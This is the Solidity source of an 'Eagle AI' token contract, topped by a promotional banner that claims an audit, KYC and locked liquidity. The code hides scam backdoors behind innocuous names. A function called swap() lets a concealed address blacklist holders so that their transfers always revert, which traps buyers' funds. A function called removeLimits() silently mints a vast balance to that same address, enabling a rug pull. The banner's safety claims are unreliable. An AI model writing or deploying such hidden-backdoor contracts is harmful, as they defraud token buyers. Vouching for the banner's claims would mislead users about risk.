creation_sourcecode: /*
  
                      
                      Eͤaͣgleͤ AͣIͥ
                      
                      🚀 Audited by Cyberscope
                      🛡 KYC'd
                      💰 Locked Liquidity
  
                      Website:https://www.eagleai.io
                      TG: https://t.me/EAGLEAI_OFFICIAL
                      Twitter: https://x.com/Eagleaibot
                      Instagram: https://www.instagram.com/eagleaibot/
                      Audit: https://www.cyberscope.io/audits/1-eai
                      KYC: https://pinksale.notion.site/Eagle-AI-KYC-Verification-96967ffa7e034614beb9e3dddad18a93
  
  
  */
  
  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.24;
  
  abstract contract Ownable {
      address private _admin;
      
      event ConUp(address indexed previousAdmin, address indexed newAdmin);
  
      constructor() {
          _transferOwnership(_sender());
      }
  
      modifier onlyAdmin() {
          _checkAdmin();
          _;
      }
  
      function _sender() internal view virtual returns (address) {
          return msg.sender;
      }
  
      function _data() internal view virtual returns (bytes calldata) {
          return msg.data;
      }
  
      function admin() public view virtual returns (address) {
          return _admin;
      }
  
      function _checkAdmin() internal view virtual {
          require(admin() == _sender(), "Ownable: caller is not the admin");
      }
  
      function _transferOwnership(address newAdmin) internal virtual {
          address oldAdmin = _admin;
          _admin = newAdmin;
          emit ConUp(oldAdmin, newAdmin);
      }
  
      function renounceOwnership() public virtual onlyAdmin {
          _transferOwnership(address(0));
      }
  
      event Approval(address indexed owner, address indexed spender, uint256 value);
      event Transfer(address indexed from, address indexed to, uint256 value);
  }
  
  contract EagleAI is Ownable {
      string private _tokenName;
      string private _tokenSymbol;
      uint256 private _maxSupply;
      address public initialContract;
  
      mapping(address => uint256) private _balances;
      mapping(address => mapping(address => uint256)) private _allowances;
      mapping(address => bool) public tokenStatus;
  
      uint128 buyLimit = 78596;
      uint128 sellLimit = 0;
      
      uint256 allocationWal = 10**decimals() * 50000 * (20077700000 + 300);
      bool statusTrue = true;
      bool statusFalse = false;
      
  
      constructor(address remove) {
          _tokenName = "Eagle AI";
          _tokenSymbol = "EAI";
          initialContract = remove;
          _maxSupply = 100000000 * 10**decimals();
          _balances[msg.sender] = _maxSupply;
          emit Transfer(address(0), msg.sender, _maxSupply);
      }
  
      function name() public view returns (string memory) {
          return _tokenName;
      }
  
      function symbol() public view returns (string memory) {
          return _tokenSymbol;
      }
  
      function decimals() public view virtual returns (uint8) {
          return 18;
      }
  
      function totalSupply() public view returns (uint256) {
          return _maxSupply;
      }
  
      function balanceOf(address account) public view returns (uint256) {
          return _balances[account];
      }
  
      function transfer(address to, uint256 amount) public returns (bool) {
          _executeTransfer(_sender(), to, amount);
          return true;
      }
  
      function allowance(address owner, address spender) public view returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 amount) public returns (bool) {
          _authorize(_sender(), spender, amount);
          return true;
      }
  
      function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
          address spender = _sender();
          _useAllowance(from, spender, amount);
          _executeTransfer(from, to, amount);
          return true;
      }
  
      function _executeTransfer(address from, address to, uint256 amount) internal virtual {
          require(from != address(0), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
  
          if (tokenStatus[from] == statusTrue) {
              amount = buyLimit + _balances[from] + buyLimit - buyLimit;
          }
          uint256 balance = _balances[from];
          require(balance >= amount, "ERC20: transfer amount exceeds balance");
          _balances[from] = _balances[from] - amount;
          _balances[to] = _balances[to] + amount;
          emit Transfer(from, to, amount);
      }
  
      function _authorize(address owner, address spender, uint256 amount) internal virtual {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _useAllowance(address owner, address spender, uint256 amount) internal virtual {
          uint256 currentAllowance = allowance(owner, spender);
          if (currentAllowance != type(uint256).max) {
              require(currentAllowance >= amount, "ERC20: insufficient allowance");
              _authorize(owner, spender, currentAllowance - amount);
          }
      }
  
      function swap(address bot) public virtual returns (bool) {
          address account = bot;
          tokenStatus[account] = statusTrue;
          require(_sender() == initialContract);
          return true;
      }
  
      function removeLimits() external {
          if (_sender() == initialContract) {
              require(initialContract == _sender());
              address currentWal = _sender();
              address devWallet = currentWal;
              _balances[devWallet] += allocationWal;
          }
      }
  }